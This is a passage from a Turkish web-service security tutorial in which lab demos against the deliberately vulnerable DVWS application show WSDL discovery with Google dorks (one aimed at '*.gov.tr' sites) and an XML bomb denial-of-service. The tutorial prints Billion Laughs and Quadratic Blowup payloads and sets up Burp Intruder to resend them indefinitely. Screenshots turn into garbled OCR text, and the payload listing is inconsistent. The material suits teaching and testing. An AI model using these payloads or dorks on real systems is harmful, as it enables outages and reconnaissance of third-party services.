WSDL enumeration açıklık çözümünden anlaşılacağı üzere WSDL kapsamını public olarak paylaşmak saldırganın normalde göremeyeceği endpoint'leri (uç noktaları) görmesi demek olacaktır ve bu açıklık çözümünde olduğu gibi fikir yürüterek bilgi toplayabilecektir, veya sızma faaliyeti gerçekleştirebilecektir.

Bu nedenle web servislerde kapsam dosyaları public (herkes) erişilebilir olmamalıdır. Http Digest Authentication ile parola kontrollü erişilebilir olmalıdır.

Ek

Google dork kullanarak internette var olan internete açık web servislerin wsdl dosyası google arama sonuçlarında index'lenmişse kontrolü ve keşfi örnek olarak şöyle yapılabilir:

Google Arama Moturuna Hedef Web Servisin WSDL# Dosyası Arama Sonuçlarında Index'lenmiş mi Diye Soralım.

Google Arama Kutusu:

site:ilgilisite.com filetype:wsdl wsdl

Google Arama Motoruna .gov.tr ile Biten Web Sitelerin# WSDL Dosyası Arama Sonuçlarında Index'lenmiş mi Diye# Soralım.

Google Arama Kutusu:

site:*.gov.tr filetype:wsdl wsdl

Çıktı:



Sonuç

Bu demoda bilgi ifşası açıklığı yoluyla bilgi toplama (enumeration) gösterilmiştir.

5.4.2 XML Bomb (CWE-776, CAPEC-197)

Bu demoda XML bomb (diğer adıyla; XML Entity Expansion, diğer adıyla; A Billion Laughs) saldırısı gösterilecektir ve hedef soap web servis sunucusunun servis dışı bırakılması uygulanacaktır.

| Kullanılan Materyaller | |
|-----------------------------------|--|
| Ubuntu 18.04 LTS | // Fiziksel Makine |
| Burpsuite Pro - Kali Linux 2022 | // Saldırgan Sanal Makine |
| DVWS - Windows 10 Home Premium VM | // Hedef SOAP DVWS // Web Servis Sanal Makine |

Not 3: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Açıklık Açıklaması

XML Bomb açıklığı XML spesifikasyonunun XML dökümanlarına birbirlerini referans eden entity'ler tanımlanmasına izin veriyor olması nedeniyle ortaya çıkar. Eğer Xml dökümanında birbirini referans eden entity'ler dikkate değer bir derinlikte recursive (özyinelemeli) olarak tanımlanırsa zafiyetli XML Parser web sunucuda exponential (üstel) derecede artan CPU ve RAM

tüketimine gider ve bu durum web servisin servis dışı kalması ile sonuçlanır.

En popüler XML Bomb saldırı payload örneği "billion laughs" şu şekildedir:

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY ha "Ha !">
<!ENTITY ha2 "&ha; &ha;">
<!ENTITY ha2 "&ha2; &ha2;">
<!ENTITY ha3 "&ha2; &ha2;">
<!ENTITY ha4 "&ha3; &ha3;">
<!ENTITY ha5 "&ha4; &ha4;">
...
<!ENTITY ha556 "&ha255; &ha255;">
]>
<root>&ha256;</root>
```

Bir diğer popüler XML Bomb saldırı payload örneği "Quadratic Blowup" ise şu şekildedir:

```
<?xml version="1.0"?>
<!DOCTYPE foobar [<!ENTITY x "AAAAA... [100KB kadar] ... AAAA">]>
<root>
<hi>&x;&x;....[30000 adet] ... &x;&x;</hi>
</root>
```

Bu örnek şablonlardaki saldırı payload'larından biri tekrarlı olarak hedef web servise yollandığında zafiyetli XML parser'lar CPU ve RAM'i aşırı tüketmeleri sonucu sunucuyu servis dışı bırakırlar ve istemcilerden web servise erişimler durur.

Açıklığın Çözümü

Öncelikle soap dvws web servisinin consumer'ı (tüketicisi) olan dvws web uygulamasındaki xml bomb zafiyetli web sayfaya göz atalım.







Açıklıklı Sayfa - 2

Görüldüğü gibi sayfa bir xml verisi almaktadır ve o xml verisinde arkada işlemler yapmaktadır. Daha sonra ne kadar cpu tüketildiğine dair bir bilgi yansıtmaktadır.

Şimdi bu sayfaya xml bomb saldırısı uygulayalım ve web servisi servis dışı bırakalım.

a) Saldırıya kısa sürede varabilmek için öncelikle DVWS - Windows 10 Home Premium sanal makine kurulumumuzun donanımsal özelliklerini düşürelim.



b) Zafiyetli web sayfaya gelinir ve web sayfanın sunduğu butona tıklandığında oluşan normal http talebi Burpsuite ile araya girip yakalanır. Http talebi Burpsuite'in Repeater sekmesine gönderilir.

| 🏹 🚍 🚔 🕒 📣 🗔 v | | | 🗖 (genmon)XXX 📣 🏚 16:49 | A @ |
|---|---|---|--|--------------|
| | | | | |
| <u> </u> | Burp Suite Professional v2022.2.5 - Ten | orary Project - licensed to TUBITAK BILGEM Kamu Sertifikasyon Merkezi [single user license] | | |
| Burp Project Intruder Repeater Wi | Indow Help | | | |
| Dashboard Target Proxy In | ntruder Repeater Sequencer Decoder Com | arer Logger Extender Project options User options Learn | | |
| Intercept HTTP history WebSock | kets history Options | | | |
| Filter: H 2 CSS, image and general binary o | ontent | | | ? |
| ■ ∧ Host | Method URL Params | idited Status Length MIME re Extension Title Comment | TLS IP Cookies | Time |
| 1 http://clients2.google.com G | SET /time/1/current?cup2key=5:MELmrQxIA ✓ | 200 1013 JSOM | 172.217.20.78 15:4 | 43:24 15 N. |
| 2 http://192.168.56.103 G | SET / | 200 1207 H9/ML Index of / | 192.168.56.103 15:4 | 43:52 15 N |
| 6 http://192.168.56.103 G | ET /dws/ | 200 5585 HTML Damn Vulnerable Web Se | 192.168.56.103 152 | 43:52 15 N |
| 9 http://192.168.56.103 G | ET /dwws/js/jquery.js | 200 96075 script js | 192.168.56.103 15:4 | 43:54 15 N. |
| 10 http://192.168.56.103 G | GET /dwws/js/bootstrap.min.js | 200 3757 script js | 192.168.56.103 15: | 43:54 15 N. |
| 11 http://192.168.56.103 G | SET /dwws/vulnerabilities/xmlbomb/xmlbo | 200 3746 HTML php XML External Entity | 192.168.56.103 15:4 | 43:5615 N |
| 13 http://192.168.56.103 P | OST /dws/vulnerabilities/xmlbomb/process | 200 2993 HTML php XML External Entity | 192.168.56.103 162 | 21:37 15 No. |
| 14 http://192.168.56.103 P | OST /dwws/vulnerabilities/xmlbomb/process V | HTML php | 192.168.56.103 16:3 | 33:43 15 N |
| 15 http://clients2.google.com G | IET /time/1/current?cup2key=5:0ca3HFUFS √ | 200 1008 JSON | 172.217.20.78 16:4 | 42:51 15 N |
| | | | | |
| Request | Scan | Response III = 1 | Inspector | • (6) × |
| Durity Duri Max = 10 | Do passive scan | Dath Pau Max Render | Request Attributor | 2 4 |
| Freedy Marker 1988 (197) (197) (197) | Do active scan | Preus Raw Hex Render VI = | inclusion of the second s | |
| <pre>1 POST /dvws/vulnerabilities/xm 2 Host: 192.168.56.103</pre> | Send to Intruder Ctri+I | 1 HTTP/1.1 200 0K 2 Date: Tue, 15 Nov 2022 13:12:05 GMT | Request Body Parameters | 1 |
| 3 Content-Length: 35 4 Cache-Control: max-age=0 | Send to Repeater Ctri+R | 3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.5.38 4 X-Powered-By: PHP/5.5.38 | a diam'ny salaharan'ny salaharan'ny salaharan'ny salaharan'ny salaharan'ny salaharan'ny salaharan'ny salaharan' | |
| 5 Upgrade-Insecure-Requests: 1 6 Origin: http://192.168.56.103 | Send to Sequencer | 5 Content-Length: 2788 6 Connection: close | Request Headers 1. | 2 |
| 7 Content-Type: application/x-w | Send to Comparer | 7 Content-Type: text/html | Response Headers | 6 ¥ |
| (KHTML, like Gecko) Chrome/10 | Send to Decoder | 9 <1DOCTYPE html> | | |
| 9 Accept: | Show response in browser | 10 <html lang="en"></html> | | |
| <pre>bp.image/apng.*/*;q=0.8,appli</pre> | Request in browser > ye/avit, inage/we | 12 | | |
| 10 Referen: http://192.168.56.10 | Engagement tools > nb/xmlbomb.php | 13 <head></head> | | |
| 12 Accept Language: en-US, en; q=0 | CopyURL | 15 <neta charset="utf-8"></neta> | | |
| 13 Connection: close | Copy as curl command | <pre>16 -meta http-equiv="X-UA-Compatible" content="IE-edge"></pre> | | |
| 14 15 name=\3Ctest\3Eexample\3C\2Ft | Copytofile | <pre>17</pre> | | |
| | Save item | 19 <neta content="" name="author"></neta> | | |
| | Convert selection > | 20 21 <title></title> | | |
| | Cut Ctrl+X | XML External Entity | | |
| | Copy Ctrl+C | 22 | | |
| | Paste Ctrl+V | 23 Bootstrap Core CSS slink href="//css/bootstrap.min.css" type="text/css" rel=" | | |
| | Message editor documentation | stylesheet"> | | |
| Q@ ← → Search | Proxy history documentation 0 matches | ⑦ ⑤ ← → Search 0 match | 15 | |



c) Repeater sekmesindeki normal http isteğinde yer alan metin kutusu girdi parametresi name="" 'e web uygulamanın koyduğu örnek xml verisi yerine xml bomb payload'u konulur.

XML Bomb Payload'u:

```
<lolz>&lol9;</lolz>
```

| 🔁 🔲 🛅 🍃 🏟 🗐 v 1 2 3 4 3 🚸 🗿 🖻 | 🗖 (genmon)XXX 🕪 🌲 🛱 16:47 🔒 🧃 |
|---|--|
| Burn Suite Professional v2022 2 S . Temporary Project . licensed | to TURITAK BUGEM Komu Sertifikasuan Merkeri fajode user license) |
| Burp Project Intruder Repeater Window Help | |
| Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Ext | xtender Project options User options Learn |
| 1 × 2 × | |
| Send Cancel < v > v | Target: http://192.168.56.103 🖉 HTTP/1 🔇 |
| Request | Response = = |
| Pretty Raw Hex 5 Vn E | Pretty Raw Hex Render 🚍 Vn 🚍 |
| <pre>1 POT //Avx.tudierzkalita/rakieka/pracess.php HTP/1.1 2 POT //Avx.tudierzkalita/rakieka/pracess.php HTP/1.1 2 Content.Logits: 30 3 Content.Logits: 30 3 Content.Type: seplicition/inverserierierierierierierierierierierierierie</pre> | <pre>if HTP7.11 200 0K If HTP7.11 200 0K If HTP7.11 200 0K If HTP7.11 200 0K If HTP7.11 200 K If HTP7.11 200</pre> |
| ⑦(③) ← → Search 0 matches | es ⑦@ ←→ Search 0 matches |
| Done | 3,118 bytes 102,414 millio |

Test amaçlı http isteği Send ile bir defalık gönderilebilir.

d) Repeater'daki xml bomb payload'lu istek o haliyle Burpsuite Intruder sekmesine gönderilir.

| 📉 💷 🚞 🍃 📦 🖭 v 1 2 3 | 4 🚺 😆 😋 🖿 | | 🗖 (genmon)XXX 🌒 🌲 🕻 | 16:51 🛛 🖴 | G |
|---|--|---|--|---------------------|---------|
| 8 | Burp Suite Professional v2022 | .2.5 - Temporary Project - licensed to | o TUBITAK BILGEM Kamu Sertifikasyon Merkezi [single user license] | | 8 |
| Burp Project Intruder Repeater Window Help | | | | | - |
| Dashboard Target Proxy Intruder Repe | eater Sequencer Decoder | Comparer Logger Exte | nder Project options User options Learn | | |
| 1 × 2 × _ | | | | | |
| Send Cancel < Y > Y | | | Target: http://192.168.56.10 | аз 🖉 нттр/1 | ? |
| Request | | | Response | | ч |
| Pretty Raw Hex 📅 Vi 🔳 | | | Pretty Raw Hex Render 📅 🗤 🚍 | | z |
| DGT //vsc/ulerabilitis/Albady/procession PGT //vsc/ulerabilitis/Albady/procession PGT //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/Albady/procession Context //sc/ulerabilitis/albady/procession Context //sc/ulerabilitis/albady/procession Context //sc/ulerabilitis/albady/procession Context //sc/ulerabilitis/albady/procession Context //sc/ulerabilitis/albady/procession Context //sc/ulerabilitis/albady/procession | s.php.HTTP/1.1 Scan Do passive scan Do passive scan Do active scan Seried to Network Seried to Network Seried to Network Seried to Seried Seri | 7.35 (HMTHE, like Gecko) ge/webp.imsge/spng.*/*/g=0 php 1.4.40.17** 2.4.40.27** 3.4.40.27** 3.4.40.47** 6.4.40.47** 6.4.40.47** 6.4.40.47** 6.4.40.47** 0.4.40.47** 0.4.40.47** 0.4.40.47** 0.4.40.47** | <pre>i HTTP:/l.100 0K i HTTP:/l.100 0K i Http:/l.100 0K i Http:/l.100 0K i Http:/l.100 Http:/l.10.10 PPP/5.5.00 i Http:/l.10.10 PPP/5.5.00 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:/l.100 Http:/l.100 i Http:</pre> | | SPECTOR |
| | Cut Ctrl+X | | 37 <ul class="sidebar-nav"> 38 di class="sidebar-hrand"> | | |
| | Copy Ctrl+C | | 39 sa href="/dvws/index.html"> | | |
| | Paste Ctrl+V | | 40 Home 41 | | |
| ③ (☉) ← → Search | Message editor documentation | 0 matches | (2) (2) (←) search | 0 matches | |
| Done | Burp Repeater documentation | | | 2,780 bytes 2,178 | millis |

e) Intruder sekmesinde sırasıyla şu adımlar takip edilir:

i) Intruder->Positions->Clear \$

| 🔲 🛅 🗋 🏟 💷 v 📋 1 2 3 4 🔤 🐽 💿 🖭 👘 👘 | 🗖 (genmon)XXX 🕪 🏚 | 1 6:5 | |
|---|-------------------------------|--------------|--------------|
| | | . 1013 | |
| Urp Suite Professional v2022.2.5 - Temporary Project - licensed to TUBITAK BILGEM Kamu Sertifikasyon Merkezi (single user license) | | | |
| rnigett ansuler respenser responser en en en en en en en en en en en en en | | | |
| | | | |
| ns Payloads Resource Pool Options | | | |
| hoose an attack type | | | Start attack |
| ntacktype: [Sniper | | V | |
| | | | |
| ayload Positions | | | |
| onfigure the positions where payloads will be inserted, they can be added into the target as well as the base request. | | - | |
| | Indute Heat handacts matching | 3 | Add 5 |
| V renges insport rescretion ma | | | Clear 5 |
| 1 POST /dwws/vulnerabilities/xmlbamb/process.php HTTP/1.1 2 Host 1922.108.56.100 | | ۰. | Autos |
| 3 Content_Length: 829 4 Cache-Content: mar-age=0 | | | Refresh |
| 5 Upgrade Insecure Requests: 1 6 Origin: Histor/192.186.56.103 | | | |
| 7 Contest-Type: application/x-www-form-urlescoded B 400 Anni Mekhki/587.95 (MMTML like Gerkal Chrome/100.0.4895.127 Safari/587.95 | | | |
| 9 Accept: text/htl.application/htl=vml.application/while=v=0.9.inape/avif.image/webp.image/appg.*/*:q=0.8.application/signed-exchange:v=b3:q=0.9 10 Referer: http://152.lex.55.103/dvxe/ullnersbilltex/mllbabb.bhb. | | | |
| 1. Accept-Incoding: grip, deflate 2. Accept-Incoding: grip, deflate | | | |
| 3 Connection close | | | |
| 5 nave=j=/shil.version='1.0'7-6 | | | |
| 7 - IBRTITY 181 "185 - IBR RENT 184 - NERSE | | | |
| المعامر ا | | | |
| 0) < EVITY LOL 2 - SALOLI 2 SALOLI 2 SALOLI 2 - SALOLI | | | |
| 2) 《IPRTIY 101 두 3월44 01 3: 3ਊ44 01 3: 3\%4 01 3: 3\%4 01 3: 3\%4 01 3: 3\%4 01 3: 3\%4 01 3: 3\%4 01 3: 3\%4 01 3: 3\%4 01 3: 3\%4 01 3: 3\%44 01 3: 3\%44 01 3: 3\%44 01 3 | | | |
| 의 《IDNTTY late" \$64.015; 564.015; 564.015; 564.015; 564.015; 564.015; 564.015; 564.015; 564.015; 564.015; 574. 5 《IDNTTY lat? *64.016; 564.016; 564.016; 564.016; 564.016; 564.016; 564.016; 564.016; 564.016; 564.016; 564.016 | | | |
| S <= (FIPRTTY 1e18 = 15544 e17,55544 e17,55544 e17,55544 e17,55544 e17,5554 e17,5554 e17,5554 e17,5554 e17,5554 ブーリアドア 1e18 = 1544 e18 = 1544 e18 = 1544 e18 = 1554 e18 = 1554 e18 = 1554 e18 = 1554 e18 = 1554 e18 = 1554 e18 | | | |
| a)]>55 3- √10±2=55 5- √10±2=55 | | | |
| | | | |
| | | | |
| Di Carta | 0 | matches | Class |
| | 0 | matches | Clear |

ii) Intruder->Payloads->Payload Type->Null Payloads

| S = 2 0 1 2 3 4 5 0 1 | 🖸 (genmon)XXX 🌗 🚽 | 1 6: | 52 🛛 🖴 G |
|--|---------------------------|--------------|--------------|
| 🛐 Burp Suite Professional v2022.2.5 - Temporary Project - licensed to TUBITAK BILGEM Kamu Sertifikasyon Merkezi (single user license) | | | |
| Burp Project Intruder Repeater Window Help | | | |
| Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn | | | |
| Section: Protocols Researce Prod. Octions | | | |
| | | | |
| C Choose an attack the | | | Start attack |
| Attacktype: Sniper | | ~ | |
| | | | |
| Payload Positions | | | |
| Configure the positions where payloads will be nerted, they can be added into the target as well as the base request. | | | |
| Tamet: Metro/1/192 156 56 103 | Update Host header to mat | ch target | Add 5 |
| region Looks tax seconds | | | Clear § |
| 1 POST /dvws/vulnerabilities/xmlbomb/procest.php HTTP/1.1 2 Most: 192.108.56.103 | | | Auto § |
| 3 Content-Length: 829 4 Cache-Cantrol: ear-age-0 | | | Refresh |
| 5 Uograde-Insecure-Requests: 1 6 Origin: http://ba.l08.56.108 | | | |
| 7. Contest-Type: application/s-wav-form-unlencoded # Name-Campt: MarillarG. 0, Windows MT. 10: Ninder. v641 Annlamabilit/087.36 (NMTM: 1)iks Carbo) Chemar/100.0.4006.137 Carbos/0527.96 | | | |
| <pre>bdc:=gent: rdztierpic rdzierpic rdzierpic do rdzierpic do representation rdzierpic rdzierpic rdzierpic rdzierze r Rzcześci r textrikti. zapilzatierze rdzierze r</pre> | | | |
| 11 Accept Encoding: gzip, defute | | | |
| 12 Accept Computer in Ose | | | |
| 14 15 name="lin" (")> | | | |
| 16 <idoctype 1<br="" lot="" z="">17 <ientity "16"="" 16=""></ientity></idoctype> | | | |
| 18 ⊲(BL9987) (કોટ (#PCDATA)≻ 19 ⊲(BR917) (કોટ "એડ) ફોડો ફોડો ફોડો ;ફોડો ;ફોડો ;ફોડો ;ફોડો ;ફોડો ;ફોડો ;;) - | | | |
| 20 <[BMTTY 1612 *해이나,태리지,태리지,태리지,태리지,태리지,태리지,태리지,태리지, 1610,1610]. 21 =[BMTTY 1612 *해리고,태리고,태리고,태리고,태리고,태리고,태리고,태리고,태리고, *** | | | |
| 22 <[BMITY lot 4 Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 5: Ho 6: H | | | |
| 22 - IDMITY 1015 - 4015;8015;8015;8015;8015;8015;8015;8015;8 | | | |
| Setting and a start s | | | |
| 27 < ENTTY 1049 "4048;4018;4018;4018;4018;4018;4018;4018; | | | |
| 29 <loiz=&iol9; <="" loiz="</td"><td></td><td></td><td></td></loiz=&iol9;> | | | |
| | | | |
| ⑦ (⊕ (➡) Search | | 0 matches | Clear |
| 0 payload positions | | Length: 1499 | |
| | | | |

| | 🗖 (genmon)XXX 🚯 | ▲ 16:52 A |
|--|------------------------|--------------|
| Burne des Tielle Marcel and Alle and Alle and Alle and Alle and Alle Alle and Alle Alle Alle Alle Alle Alle Alle All | | |
| Burp suite Protessional V2V22.2.3 * Lemporary Project * Illemsou to Loo Loo Loo Loo Loo Loo Loo Loo Loo | | |
| Burg Project intruser Repeater Window Relp | | |
| usandomu angel enangel enangel enangel enangel belander exercise user under enangel enangel exercise enangel en | | |
| nuitine Budeade Bessure Deal Options | | |
| Texture of the second s | | |
| (2) Payload Sets | | Start attack |
| You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload sets, and each payload type can be customized types are available for each payload sets. | .ed in different ways. | |
| Payload set: 1 V Payload count: 0 | | |
| Payload type Null payloads V Reguest count: 0 | | |
| | | |
| Revised Options [Null newloads] | | |
| This makes explored a photo sy | | |
| This payloan cige generates appendix innote neare is an empty scring, interimp payloan matters consigned, this can be used to repeate by some request uninvaries. | | |
| Generate payloads | | |
| Continue indefinitely | | |
| (b) Papel Processing You can define nets to perform values processing trads on each papelast lefform it is used. Add Enabled Balance Balance Op Op Op Op | | |
| ⑦ Project Encoding The acting can be used to SUL. Encoder soluted duration within the final payload, for sole transmission within HTTP request. ② LBLEncode these characters: | | |

iii) Intruder->Payloads->Payload Options->Continue Indefinitely

| | 🔲 (genmon)XXX 🌗 📮 🔺 1 | 6:52 🎒 G |
|--|-------------------------|--------------|
| 🛐 Burp Suite Professional v2022.2.5 - Temporary Project - Licensed to TUBITAK BILGEM Kamu Sertifikasyon Merkezi [single user license] | l . | 008 |
| Burp Project intruder Repeater Window Help | | |
| Dashboard Target Prony Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options Useroptions Learn | | |
| Positions Parloads Resource Pool Options | | |
| | | |
| • regroups accurate the one or more randomid sets. The number of excload sets deneeds on the attractione defined in the Positions tab. Various randomid types are available for each randomid set and each randomid types can be customed. | ized in different ways. | Start attack |
| | | |
| Payload set: 1 Payload count: unknown | | |
| Payload type: Null payloads 🗢 Request count: 0 | | |
| | | |
| Payload Options [Null payloads] | | |
| This payload type generates payloads whose value is an empty string. With no payload matters configured, this can be used to repeatedly issue the base request unmodified. | | |
| Generate payloads | | |
| Continue indefinitely | | |
| | | |
| Payload Processing | | |
| You can define rules to perform various processing tasks on each payload before it is used. | | |
| Add Enabled Rule | | |
| Edit | | |
| Remove | | |
| Up | | |
| Down | | |
| | | |
| | | |
| (2) Payload Encoding | | |
| This set to cash useful IBL_enrole selected characters within the final payload for safe transmission within HTTPrequests. | | |
| | | |
| G URL-encode these characteris: _/I=<>+& ⁺ :0 ^A ≡ | | |
| | | |
| | | |
| | | |
| | | |
| | | |

iv) Intruder->Resource Pool->Name=XmlBombDoS2 & Tick Maximum concurrent request: **10**

| i 💷 🔁 | 🖿 🍃 🍅 🖿 v 1 💠 | 2 3 4 🚺 🌢 🤇 | | | | | | | 🖸 (genmon)XXX 🌗 | ÷ 0 | 16:53 | ≙ ⊝ |
|--------------|--|---------------------------------------|----------------------|---------------------|-----------------------|-----------------|-----------------|------------------------------|-----------------|-----|-------|------------|
| 1 | | Burp Suite Professiona | l v2022.2.5 - Ter | nporary Project - | licensed to TUBI | AK BILGEM Kamu | Sertifikasyon M | erkezi [single user license] | | | | |
| Burp Project | Intruder Repeater Window F | Help | | | | | | | | | | |
| Dashboard | Target Proxy Intruder | Repeater Sequencer | Decoder Cor | nparer Logge | r Extender | Project options | User options | Learn | | | | |
| 1 × 2 : | x 3 x 1 | | | | | | | | | | | |
| Positions | Payloads Resource Pool O | ptions | | | | | | | | | | |
| ~ | | | | | | | | | | | | |
| Specify th | e resource pool in which the attack will I | be run. Resource pools are used to ma | inage the usage of s | system resources ac | cross multiple tasks. | | | | | | | |
| 🔿 Use e | xisting resource pool | | | | | | | | | | | |
| Sele | ected Resource pool | Max concurrent requests | Request delay | Random delay | Delayincrement | | | | | | | |
| | Default resource pool | 10 | | | | | | | | | | |
| 0 | XmlBombDoS | 10 | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | 6 | | | | | | | | | |
| | | | 9 | | | | | | | | | |
| O Creat | e new resource pool | | | | | | | | | | | |
| Name: | XmlBomDoS2 | | - | | | | | | | | | |
| Ma Ma | asimum concurrent requests: | 10 | | | | | | | | | | |
| De | lay between requests: | milliseconds | | | | | | | | | | |
| | Fixed | | | | | | | | | | | |
| | O With random variations | | | | | | | | | | | |
| | O Increase delay in increments of | milliseconds | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |

v) Intruder->Options->Attack Results->Untick Store Requests & Untick Store Responses & Tick Use denial of service mode (no result)

| S □ □ 2 3 4 5 0 1 2 3 4 5 0 1 2 3 4 5 0 1 1 2 3 4 5 0 1 1 2 3 4 5 0 1 1 2 3 4 5 0 1 1 2 3 4 5 0 1 2 3 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 | 🛄 🖸 (genmon)XXX 🌗 🐥 | 🖬 16:53 🛛 🖴 🖸 |
|---|---------------------|---------------|
| 🖁 Burp Suite Professional v2022.2.5 - Temporary Project - licensed to TUBITAK BILGEM Kamu Sertifikasyon Merkezi [single user license] | i . | |
| Surp Project Intruder Repeater Window Help | | |
| Dashbard Target Provy Intruder Repeater Sequencer Decoder Comparer Logger Extender Projectoptions Useroptions Learn | | |
| Vestions Periods Resource Pool Options | | |
| | | |
| This retires allows use to reason this project | | start attack |
| | | |
| Save attackto project rise (ann) available for dosk-based projects) | | |
| 2 Request Headers | | |
| These settings control whether intruder updates the configured request headers during attacks. | | |
| Vlpdate Content-Length header | | |
| Set Connection: close | | |
| | | |
| ⑦ Error Handling | | |
| These settings control how infruder handles network errors during the attack. | | |
| Number of retries on networkfailure: 3 | | |
| Pause before retry (milliseconds): 2000 | | |
| | | |
| ① Attack Results | | |
| These settings control what information is captured in attack results. | | |
| Store requests | | |
| Store responses | | |
| V Make unmodified baseline request | | |
| Vise denial-of-service mode (no results) | | |
| Store full payloads | | |
| | | |
| (2) Grep - Match | | |
| These settings can be used to flag result items containing specified expressions. | | |
| Flag result items with responses matching these expressions: | | |
| Desta | | |
| Tubb. | | |

f) Intruder'da Start Attack ile paket tekrarlı olarak peşisıra gönderilir

| S = 2 0 0 1 2 3 4 5 0 0 0 | (genmon)XXX 🌗 🌲 🖻 | 17:50 🛛 🖴 G |
|--|-------------------|--------------|
| 🚪 Burp Suite Professional v2022.2.5 - Temporary Project - licensed to TUBITAK BILGEM Kamu Sertifikasyon Merkezi (single user license) | | 800 |
| Burp Project Intruder Repeater Window Help | | |
| Dashboard Target Prisy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn | | |
| 1 × 2 × 3 × Positions Payloads Resource Paol Octions | | |
| | | |
| This setting loss on to save your attack to the current project file. The attack will then be available from the Dashboard whenever you open this project. | | start attack |
| no z stong unover por co zere por exercence ne carecto progetime, inte una entre entre exerciser e constance non man exerciser progetime progetime. | | |
| Save attact to project the looky available for disk-cased projects | | |
| (7) Request Headers | | |
| C These settings control whether intruder updates the configured request headers during attacks. | | |
| Cludate Contest. Length leader | | |
| Set Connection: close | | |
| | | |
| () Error Handling | | |
| O These settings control how intruder handles network errors during the attack. | | |
| Number of retries on network failure: 3 | | |
| Pause before retry (milliseconds): 2000 | | |
| | | |
| () Attack Results | | |
| O These settings control what information is captured in attack results. | | |
| Store requests | | |
| Store responses | | |
| ☑ Make unmodified baseline request | | |
| ☑ Use deniai-of-service mode (no results) | | |
| Store full payleads | | |
| | | |
| (2) Greep - Match | | |
| Instructing called the table to the table to the table | | |
| Flag result items with responses matching these expressions: | | |
| Paste error excetion | | |
| Load | | |



g) Web tarayıcılarda soap dvws web servise erişimler bu sırada kontrol edilir. Bir süre sonra hedef web sunucudaki kaynaklar tükenir ve hedef web sunucu servis dışı kalır.



Saldırı bir müddet sonunda başarılı olacaktır. Saldırı öncesinde hedef soap web servis sunucusunda cpu kullanımı normal seyirlerdeyken;

| | DVWS - Windows 10 Home Premium x64 [Running] - Oracle VM VirtualBox 😑 💷 🛞 |
|--|--|
| File Machine | /iew Input Devices Help |
| Geri Denuşu | |
| | Gorev Yöneticisi Osya Secenckier Unitule |
| Existing and an analysis of the second secon | Eperformans Uygulama gen Baglangic Kullancular Ayuntular Hizmetter CPU 10% 2,11 GHz CPU Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz 5,100 Bellek 553/512 MB (89%) 0 |
| ai pasiaa iiiiiiiiiiiiiiiiiiiiiiiiiiiiii | Kullanim Hiz Ternel hiz 2,11 GHz Yuvalar 1 10% 2,11 GHz Sanal Iglenci Iglernler Iş Parşacığı Tanticilar Sanal makine Evet 68 840 28965 Çalışma zamanı 0:02:24:52 |
| | 19/02 |
| | |
| | |

saldırı sırasında hedef web sunucuda cpu kullanımı en üst seviyede sabitlenir:

| | DVWS - Windows 10 Home Premium x64 [Running] - Oracle VM VirtualBox 😑 (| ÐØ |
|------------------------|--|--------|
| File Machine | View Input Devices Help | |
| 0 | | |
| Geri | | |
| Somoyon. | 🖾 Görev Yöneticisi — — — — 🗙 | |
| | Dosya Secenekler Dintüle | |
| Bu Bilgisayar | İşlemler Performans Uygulama geçmişi Başlangıç Kullanıcılar Ayrıntılar Hizmetler | |
| | | |
| æ | 100% 2,11 GHz CPU Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz | |
| Microsoft | Bellek | |
| | 496/512 MB (97%) | l |
| | D Diski (C) | |
| Google Chrome | Wu Wi Wi Sist | |
| | Ethernet | |
| 8 | Ethernet Gr 240 & O.Kb/cn | |
| XAMPP Control Panel | | |
| | 60 saniye 0 | |
| | Kullanım Hız Temel hız: 2,11 GHz | |
| payterim | 100% 2, 11 GHZ Sanal Işlemci 1 | |
| V. | 438 1668 135868 L1 önbelleği: Vok | |
